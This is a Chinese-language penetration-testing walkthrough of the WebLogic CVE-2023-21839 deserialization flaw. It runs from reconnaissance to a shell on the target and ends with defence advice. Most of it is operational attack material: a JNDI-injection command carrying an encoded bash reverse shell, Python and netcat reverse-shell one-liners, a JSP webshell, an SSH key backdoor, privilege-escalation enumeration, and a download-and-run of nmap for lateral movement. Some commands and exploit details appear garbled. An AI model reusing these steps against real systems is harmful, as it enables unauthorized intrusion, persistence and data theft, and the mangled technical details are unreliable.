WebLogic CVE-2023-21839漏洞深度解析:从反序列化原理到实战渗透

WebLogic CVE-2023-21839漏洞深度解析:从反序列化原理到实战渗透
1. 项目概述一次针对WebLogic的深度渗透实战最近在整理内部红队演练的案例库翻到了一个去年让我印象深刻的实战案例核心就是利用CVE-2023-21839这个漏洞。这个漏洞在当时影响范围极广因为它绕过了WebLogic T3协议的一个关键安全限制允许攻击者在未授权的情况下直接执行任意代码。很多朋友可能听说过这个漏洞编号但对其完整的利用链条、从信息收集到最终getshell的每一个细节以及在实际复杂网络环境中可能遇到的“坑”未必有清晰的认知。今天我就以一个实战亲历者的角度把这个漏洞从发现到利用的全过程掰开揉碎了讲清楚。这篇文章不仅适合安全研究人员进行漏洞复现学习也希望能给企业安全运维人员提供一个清晰的防御视角了解攻击者是如何一步步得手的。简单来说CVE-2023-21839是Oracle WebLogic Server中的一个高危反序列化漏洞存在于T3协议/IIOP协议的处理过程中。攻击者可以在未授权的情况下通过构造恶意的T3请求将精心构造的反序列化对象发送到WebLogic Server从而在目标服务器上执行任意命令最终获取一个交互式的shell。整个过程可以概括为信息收集确认目标 - 漏洞探测与验证 - 利用链构造与载荷投递 - 权限维持与内网渗透。下面我将结合一次真实的内部演练带你走完这惊心动魄的全过程。2. 漏洞原理与影响范围深度解析2.1 漏洞核心被绕过的黑名单与不安全的反序列化要理解CVE-2023-21839必须先了解WebLogic的T3协议和其反序列化防御机制。T3是WebLogic特有的一个高性能RMI远程方法调用协议用于集群间通信默认监听在7001端口。为了防范反序列化攻击WebLogic维护了一个“反序列化类过滤黑名单”即weblogic.rmi.server.MarshalledObject。这个类的resolve方法在反序列化时会检查待反序列化的类是否在黑名单中如org.apache.commons.collections.functors.InvokerTransformer等常见的危险类。CVE-2023-21839的狡猾之处在于它找到了一个“白名单”里的类作为跳板这个类就是oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor。这个类本身不在黑名单限制之内但它内部依赖的com.tangosol.util.aggregator.TopNAggregator$PartialResult类在其readExternal方法中存在不安全的反射调用。攻击者通过精心构造的序列化数据可以控制TopNAggregator$PartialResult反序列化时加载的类名和构造方法参数从而实例化任意类例如javax.management.BadAttributeValueExpException进而触发一个完整的、不受黑名单限制的反序列化利用链例如利用CommonsCollections链。注意这里提到的利用链如CC链只是其中一种可能。在实际利用中攻击工具如JNDI注入工具往往会根据目标环境动态选择最合适的利用链可能还会用到BeanShell1、CommonsBeanutils1等。2.2 影响版本与修复情况这个漏洞影响面非常大涵盖了多个主流版本的WebLogic ServerOracle WebLogic Server 12.2.1.3.0Oracle WebLogic Server 12.2.1.4.0Oracle WebLogic Server 14.1.1.0.0Oracle在2023年1月的关键补丁更新CPU中修复了此漏洞补丁号为33218430。修复方式主要是更新了反序列化过滤器将涉及漏洞的类添加到了黑名单中并加强了对MarshalledObject等关键类的检查。因此判断一个目标是否受影响最直接的方式就是确认其版本号并检查是否已安装2023年1月及之后的补丁。在实际渗透中我们往往没有权限直接查看版本这就需要通过探测来间接判断。3. 实战环境搭建与信息收集3.1 靶机环境准备为了完整复现我们需要一个未打补丁的WebLogic环境。这里我选择在虚拟机中搭建WebLogic Server 12.2.1.4.0。安装过程比较常规需要注意以下几点JDK版本WebLogic 12.2.1.4 需要JDK 1.8。确保环境变量JAVA_HOME正确配置。安装选项为了简化可以选择“典型安装”。记住安装过程中设置的AdminServer的管理端口默认7001和管理员密码。启动服务进入{WL_HOME}/user_projects/domains/base_domain/bin目录执行./startWebLogic.shLinux或startWebLogic.cmdWindows。看到“Server state changed to RUNNING”即表示启动成功。访问控制台浏览器访问http://target_ip:7001/console能正常登录管理控制台即可。实操心得在内部演练时我们遇到的WebLogic服务器大多部署在Linux系统上且常与Apache或Nginx做反向代理。因此复现环境也建议优先使用Linux更贴近实战。另外确保虚拟机或容器的网络与攻击机Kali Linux互通。3.2 攻击机工具准备我们的攻击机使用Kali Linux需要准备以下工具Nmap用于端口扫描和服务识别。sudo apt install nmap探测脚本用于快速识别WebLogic版本及是否存在CVE-2023-21839漏洞。网络上有很多开源PoC脚本例如使用Python编写的检测脚本可以发送特定的T3协议握手包和漏洞探测包。漏洞利用工具这是getshell的关键。推荐使用集成化程度较高的工具例如JNDI-Injection-Exploit配合反序列化利用框架。我们需要一个能启动恶意RMI/LDAP服务并生成对应利用Payload的工具。监听工具用于接收反弹的shell。最常用的是Netcat和Cobalt Strike的Beacon。这里我们用nc做演示。sudo apt install netcat工具准备的命令示例# 更新系统并安装基础工具 sudo apt update sudo apt upgrade -y sudo apt install nmap netcat python3 python3-pip git -y # 克隆一个常见的WebLogic漏洞检测工具示例请自行搜索可靠来源 git clone https://github.com/example/weblogic-scanner.git cd weblogic-scanner pip3 install -r requirements.txt # 克隆JNDI注入利用工具 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit mvn clean package -DskipTests # 需要Maven环境注意事项所有漏洞利用工具均应仅在授权的测试环境或本地隔离环境中使用。从互联网下载任何安全工具时务必检查其代码避免后门。3.3 外围信息收集与目标确认在真实的红队行动中我们不会直接对目标IP的7001端口进行爆破。第一步往往是更隐蔽的外围信息收集。子域名枚举使用工具如subfinder、amass、OneForAll等收集目标企业的所有子域名。subfinder -d target-company.com -o subdomains.txt端口扫描与服务识别对收集到的子域名或已知IP段进行端口扫描。重点扫描7001WebLogic默认、80、443、8000-9000等常见Web端口。nmap -sS -sV -p 7001,7002,8000-9000 -iL target_ips.txt -oA weblogic_scan-sS是SYN扫描-sV是版本探测-oA输出所有格式结果。WebLogic特征识别Nmap扫描结果中如果端口服务识别为Oracle WebLogic Admin Server或T3 protocol那就是强信号。此外访问http://ip:port/console或http://ip:port/wls-wsat等特定路径观察是否有WebLogic的登录页面或错误页面也能帮助确认。网络路径判断使用traceroute或mtr判断目标服务器的网络位置是否处于DMZ区后方是否有其他应用服务器这为后续的内网渗透做准备。假设我们通过以上步骤最终锁定了一个目标http://192.168.1.100:7001且/console可以访问到WebLogic登录页。4. 漏洞探测与利用链构造4.1 主动漏洞探测确认目标后下一步是验证其是否存在CVE-2023-21839漏洞。我们可以使用专门的探测脚本。一个典型的探测逻辑是建立与目标7001端口的TCP连接。发送T3协议握手头十六进制数据。发送一个精心构造的、触发漏洞的序列化对象Payload。这个Payload通常是一个“无害”的探测载荷比如尝试加载一个不存在的类或者触发一个可以区分成功与失败的响应。根据服务器的返回信息如错误堆栈、响应时间、连接状态来判断漏洞是否存在。例如一个简单的Python探测脚本核心部分可能如下概念代码import socket import struct import time def check_vulnerable(ip, port): try: sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((ip, port)) # 发送T3握手头 handshake t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n sock.send(handshake.encode()) time.sleep(0.5) # 发送漏洞探测Payload (此处应为构造好的序列化字节流) # payload construct_detect_payload() # sock.send(payload) # 接收响应并分析 response sock.recv(1024) if b特定错误特征 in response: # 例如某些类找不到的异常 print(f[] {ip}:{port} 可能存在 CVE-2023-21839 漏洞) return True else: print(f[-] {ip}:{port} 可能不存在漏洞或已修复) return False except Exception as e: print(f[*] 连接{ip}:{port}异常: {e}) return False finally: sock.close()实操心得在实际网络中探测行为可能被WAF或IDS拦截。因此高级的探测会尝试对Payload进行分段、编码或使用其他端口如IIOP默认端口7002进行尝试。此外观察目标服务器的CPU或内存是否有突然波动如果Payload导致执行了计算也是一种间接判断方式但这需要更长时间的监控。4.2 构造恶意JNDI注入利用链确认漏洞存在后就需要构造真正的利用载荷来getshell。目前最主流、最有效的方式是结合JNDI注入。其核心思路是利用漏洞的反序列化能力让WebLogic服务器去访问一个由我们控制的恶意JNDI服务RMI或LDAP该服务会返回一个指向远程恶意Java类的Reference。WebLogic在解析这个Reference时会从我们指定的HTTP服务器下载并实例化这个类从而执行我们嵌入在类中的任意代码。整个利用过程涉及三个角色攻击者服务器VPS运行两个服务。恶意JNDI服务使用JNDI-Injection-Exploit启动监听在RMI1099或LDAP1389端口。恶意HTTP服务托管包含恶意代码的class文件。漏洞利用Payload一个序列化对象其反序列化后会触发对攻击者IP:JNDI端口的JNDI查找。受害WebLogic服务器处理Payload触发漏洞向攻击者的JNDI服务发起请求最终加载并执行恶意类。步骤一在攻击机上启动恶意服务# 进入JNDI-Injection-Exploit工具目录 cd JNDI-Injection-Exploit/target/ # 启动工具指定攻击者IP和要执行的命令 # -C 后面是要执行的命令这里我们启动一个反弹shell到攻击机192.168.1.50的4444端口 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.1.50命令解释-C指定要执行的命令。这里我们使用了一个经典的bash反弹shell命令并进行了base64编码以避免特殊字符问题。解码后的命令是bash -i /dev/tcp/192.168.1.50/4444 01。-A指定攻击者我们的IP地址WebLogic服务器会向这个IP请求恶意类。执行后工具会显示可用的JNDI注入地址例如[ADDRESS] rmi://192.168.1.50:1099/xxxxxx [ADDRESS] ldap://192.168.1.50:1389/xxxxxx我们复制其中一个地址比如rmi://192.168.1.50:1099/abcde。步骤二在攻击机另一个终端启动Netcat监听nc -lvnp 4444等待反弹shell的连接。步骤三生成并发送最终漏洞利用Payload我们需要一个能够将上一步的JNDI地址封装进反序列化Payload的工具。这个工具通常与探测脚本集成或者是一个独立的利用框架如ysoserial的变种或专门针对此漏洞的利用脚本。假设我们有一个名为CVE-2023-21839-Exploit.py的脚本其用法如下python3 CVE-2023-21839-Exploit.py -t 192.168.1.100 -p 7001 -u rmi://192.168.1.50:1099/abcde这个脚本会连接到192.168.1.100:7001。发送T3握手协议。构造一个反序列化Payload其中包含指向rmi://192.168.1.50:1099/abcde的JNDI查找逻辑。将这个Payload通过T3协议发送给目标WebLogic服务器。5. 攻击执行与Shell获取全过程5.1 发送Payload与触发漏洞当我们在攻击机上执行上述利用脚本后一系列自动化过程在后台发生脚本工作脚本向目标192.168.1.100:7001发送了包含恶意JNDI地址的序列化数据。目标服务器中招WebLogic Server的T3协议处理器收到数据并开始反序列化。由于CVE-2023-21839漏洞的存在黑名单检查被绕过恶意对象被成功还原。触发JNDI查找还原的对象中包含javax.naming.InitialContext.lookup(“rmi://攻击者IP/xxx”)的逻辑。WebLogic服务器以WebLogic进程权限通常是weblogic或oracle用户尝试去解析这个RMI地址。连接攻击者服务目标服务器向我们的攻击机192.168.1.50的1099端口发起RMI请求。5.2 JNDI服务响应与恶意类加载此时我们攻击机上运行的JNDI-Injection-Exploit开始发挥作用RMI服务响应它接收到来自目标的RMI查询请求。返回恶意Reference工具根据请求返回一个javax.naming.Reference对象。这个Reference指定了恶意工厂类名例如Exploit和代码库地址http://192.168.1.50:8080/Exploit.class。目标加载类WebLogic服务器收到Reference后会根据其中指定的HTTP地址向192.168.1.50:8080发起HTTP GET请求试图下载Exploit.class文件。JNDI-Injection-Exploit工具内置了一个简单的HTTP服务器正好提供这个服务。提供恶意Class内置HTTP服务器将包含我们之前指定命令base64编码的反弹shell的Exploit.class文件返回给目标服务器。5.3 代码执行与Shell反弹实例化与执行WebLogic服务器加载了Exploit.class并实例化这个类。在类的静态代码块或构造函数中嵌入了我们指定的命令执行逻辑。执行反弹Shell命令类被加载时其中的代码会执行Runtime.getRuntime().exec()运行我们编码后的bash命令。该命令会在目标服务器上打开一个bash进程并将其输入输出重定向到网络套接字连接到我们监听192.168.1.50:4444的Netcat。Shell到手我们的Netcat监听终端会立刻接收到这个连接。如果一切顺利你会看到类似以下的提示并得到一个可交互的shellconnect to [192.168.1.50] from (UNKNOWN) [192.168.1.100] 34567 bash: cannot set terminal process group (1234): Inappropriate ioctl for device bash: no job control in this shell weblogicweblogic-server:/Oracle/Middleware/user_projects/domains/base_domain$提示符weblogicweblogic-server表明我们已经成功以weblogic用户身份获取了目标服务器的shell权限。注意事项反弹shell的成功率受目标服务器环境影响很大。如果目标服务器没有bash例如AIX系统或者出网流量被防火墙严格限制无法连接到我们的VPS 4444端口那么这种直接反弹TCP shell的方式会失败。此时需要考虑使用其他命令如curl或wget下载木马、写入Webshell或者使用DNS、ICMP等隧道进行流量穿透。6. 后渗透与权限维持技巧拿到一个初始的WebLogic进程权限的shell远不是终点。在真实的攻防演练或渗透测试中我们需要考虑如何维持访问权限、提升权限如果需要以及向内网横向移动。6.1 权限提升可能性探查WebLogic服务通常以普通用户如weblogic、oracle身份运行权限有限。我们需要检查是否有提权机会# 查看当前用户及权限 id whoami sudo -l # 如果当前用户在sudoers列表且无需密码则是重大发现 # 查看系统内核版本寻找本地提权漏洞 uname -a cat /etc/issue cat /etc/*-release # 查看是否有SUID/GUID的特殊权限文件 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 查看计划任务是否有以root身份运行的任务 crontab -l ls -la /etc/cron* /var/spool/cron/如果系统内核版本较老可以尝试使用如DirtyPipe、DirtyCow等公开的本地提权漏洞EXP。也可以上传LinPEAS或LinuxSmartEnumeration等自动化信息收集脚本快速识别弱点。6.2 权限维持WebShell与后门为了防止shell会话断开后失去控制需要部署后门。写入WebShell这是最快捷的方式。找到WebLogic的应用部署目录通常在{DOMAIN_HOME}/servers/AdminServer/tmp/_WL_internal或{DOMAIN_HOME}/servers/AdminServer/upload下或者通过ps aux | grep weblogic查找-Dweblogic.RootDirectory参数。向其中一个已知的Web应用目录如consoleapp写入一个JSP或JSPX的WebShell。# 查找war包解压目录 find / -name \*.war\ -type f 2/dev/null | head -5 # 假设找到 /Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/consoleapp/xxx cd /path/to/webapp echo \% Runtime.getRuntime().exec(request.getParameter(\cmd\)); %\ shell.jsp然后就可以通过http://target:7001/consoleapp/shell.jsp?cmdid来执行命令。创建SSH后门如果当前用户有写~/.ssh/authorized_keys的权限可以直接写入攻击机的公钥。echo \ssh-rsa AAAAB3NzaC... your-public-key\ ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys安装持久化Rootkit在获得root权限后可以考虑安装更隐蔽的后门如修改sshd配置、安装内核模块等但这需要更高的技术能力和风险考量在合规测试中需谨慎。6.3 内网横向移动初步以WebLogic服务器为跳板进行内网信息收集# 查看网络配置发现内网网段 ifconfig -a ip addr cat /etc/hosts cat /etc/resolv.conf # 查看ARP缓存和当前连接 arp -a netstat -antp # 进行内网主机发现使用内置命令 for i in {1..254}; do ping -c 1 -W 1 192.168.2.$i | grep \from\ done # 上传内网扫描工具如nmap静态编译版 # 首先在攻击机用python开一个简易HTTP服务 # python3 -m http.server 8080 # 然后在目标shell中用wget或curl下载 cd /tmp wget http://192.168.1.50:8080/nmap-static chmod x nmap-static ./nmap-static -sS -p 22,80,443,3306,3389 192.168.2.0/24发现内网其他资产后可以尝试用已获取的密码如WebLogic密码可能被复用、已知漏洞如MS17-010或弱口令爆破等方式进行横向扩展。7. 常见问题与排查技巧实录在实际利用CVE-2023-21839的过程中几乎不可能一帆风顺。下面是我在多次演练中遇到的典型问题及解决方法。7.1 漏洞探测成功但利用失败问题现象探测脚本显示目标存在漏洞但发送JNDI利用Payload后Netcat没有收到反弹shellJNDI工具也没有收到请求。可能原因1Payload构造错误或编码问题。排查检查利用脚本生成的Payload是否针对目标WebLogic版本。不同小版本间可能存在差异。尝试使用LDAP协议代替RMI协议ldap://替换rmi://因为有些环境对RMI出口限制更严。解决使用更稳定、更新版本的利用脚本。或者手动调试抓取发送的原始T3数据包与成功的案例进行对比。可能原因2目标服务器无法访问攻击机IP/端口出网限制。排查这是最常见的原因。在目标服务器上尝试连接攻击机的端口。# 在获取的shell中执行如果没有shell说明漏洞可能触发但命令没执行成功 # 如果完全没有shell此步无法进行。可以尝试让Payload执行一个sleep命令或ping命令通过观察服务器响应延迟或ICMP包来判断。 nc -zv 192.168.1.50 1099 nc -zv 192.168.1.50 4444解决使用DNSLog等带外通道修改Payload让目标执行curl http://dnslog-platform/或者ping命令。通过查看DNSLog平台是否有记录来判断命令是否执行以及出网策略DNS可能被允许。使用反向端口扫描让目标服务器来连接攻击机一个高端口同时在攻击机用tcpdump抓包看是否有SYN包到来。搭建内网代理如果目标在内网且你有一台已控的内网机器可以将JNDI服务和监听服务部署在那台内网机器上。可能原因3目标Java版本过高或存在其他安全限制。排查高版本Java如8u191默认限制了JNDI从远程地址加载工厂类。这会导致即使触发了漏洞目标服务器也不会去下载我们的恶意class。解决尝试使用“绕过”高版本JNDI限制的利用链。一些高级利用工具会集成BasicDataSource、ELProcessor等链这些链不依赖远程加载class而是利用目标本地ClassPath中的类来构造命令执行。这需要更精准的目标环境信息。7.2 收到JNDI请求但未收到Shell问题现象JNDI-Injection-Exploit工具日志显示收到了来自目标的RMI/LDAP查询请求但Netcat没有连接或者连接后立即断开。可能原因1反弹Shell命令不兼容。排查目标服务器可能没有bash或者/dev/tcp特性被禁用如使用dash作为默认shell。解决换用更通用的命令。使用python反弹python -c \import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\192.168.1.50\,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\/bin/sh\,\-i\]);\使用nc反弹需目标有ncnc -e /bin/sh 192.168.1.50 4444如果都不行考虑先写入一个WebShell作为备用通道。可能原因2防火墙或安全软件拦截。排查目标服务器的本地防火墙iptables或主机安全软件如HIDS可能拦截了反向连接。解决尝试连接其他端口如53/UDP DNS端口80/443 HTTP/HTTPS端口。使用加密隧道或HTTP代理穿透。或者放弃反弹Shell改用执行写入文件、添加用户等直接动作的Payload。7.3 工具使用与环境问题问题JNDI-Injection-Exploit编译或运行报错。解决确保Java版本为1.8Maven已正确安装。如果遇到依赖问题尝试使用作者预编译好的jar包。检查攻击机防火墙是否放行了1099、1389、8080、4444等端口。问题Python利用脚本报编码或库缺失错误。解决确保Python版本为3.x并使用pip install -r requirements.txt安装所有依赖。在Linux环境下运行避免Windows下可能存在的换行符问题。7.4 防御与检测建议作为防守方了解攻击链后可以采取以下措施及时打补丁这是最根本的解决方案。立即安装Oracle官方2023年1月及之后的CPU补丁。网络访问控制在防火墙严格限制访问WebLogic T37001和IIOP7002端口的源IP仅允许管理终端和必要的集群节点访问。使用SSL/TLS为T3协议启用SSLT3S可以增加流量嗅探和攻击的难度。升级JDK将JDK升级到最新版本如8u361以上可以利用其内置的JNDI远程类加载限制。部署安全产品WAF可以拦截含有特定序列化魔术头或JNDI地址的T3请求。HIDS可以监控WebLogic进程是否异常启动子进程如bash、nc或对外发起可疑网络连接。最小化安装非必要不启用T3协议。如果仅用于Web应用可以考虑通过管理控制台禁用T3协议或只启用HTTP协议。整个从CVE-2023-21839漏洞利用到getshell的过程就像一场精心策划的接力赛任何一个环节掉链子都可能导致失败。对于攻击者需要耐心、细致的排查和丰富的备用方案对于防御者则需要层层设防补丁、配置、监控一个都不能少。希望这篇近万字的详细拆解能让你不仅看到漏洞利用的“术”更能理解其背后的“道”从而在无论是攻击还是防御的岗位上都能做得更加游刃有余。在实战中最大的挑战往往不是漏洞本身而是对目标环境差异性的适应和应对各种未知限制的创新能力。